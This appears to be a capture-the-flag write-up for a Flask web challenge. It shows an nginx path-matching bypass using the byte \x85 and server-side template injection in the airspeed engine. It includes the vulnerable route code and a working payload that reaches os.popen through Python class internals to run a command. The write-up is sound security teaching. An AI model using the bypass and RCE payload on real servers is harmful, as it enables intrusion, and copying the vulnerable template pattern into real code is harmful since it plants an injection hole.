Analyzing the Nginx Configuration#

1
location = /debug {
2
    deny all;
3
    return 403;
4
}

The /debug endpoint is blocked at the nginx level.

Source Code Review#

The app uses the airspeed template engine (Python implementation of Apache Velocity).

1
@app.route('/debug', methods=['POST'])
2
def debug():
3
    name = request.json.get('name', 'World')
4
    return airspeed.Template(f"Hello, {name}").merge({})

User input is directly embedded into the template string - classic SSTI vulnerability!

The Access Control Issue#

• Nginx layer: Blocks /debug endpoint -> Returns 403
• Flask layer: Has no restrictions on /debug

Finding the HTTP Parsing Discrepancy#

Testing various byte values revealed that byte \x85 creates a parsing discrepancy:

• Nginx perspective: /debug\x85 != /debug -> Allows through
• Flask perspective: /debug\x85 = /debug -> Routes to debug endpoint

Server-Side Template Injection (SSTI)#

Payload test: #set( $foo = 7*7 )\n$foo

1
HTTP/1.1 200 OK
2
Hello, 49

Achieving RCE#

The jinja2.utils.Cycler class gives access to os.popen() through __init__.__globals__:

1
{
2
    "name": "#set($x='')\n#set($cycler=$x.__class__.__mro__[1].__subclasses__()[479])\n#set($init=$cycler.__init__)\n#set($globals=$init.__globals__)\n#set($os=$globals.os)\n#set($popen=$os.popen('/readflag'))\n$popen.read()"
3
}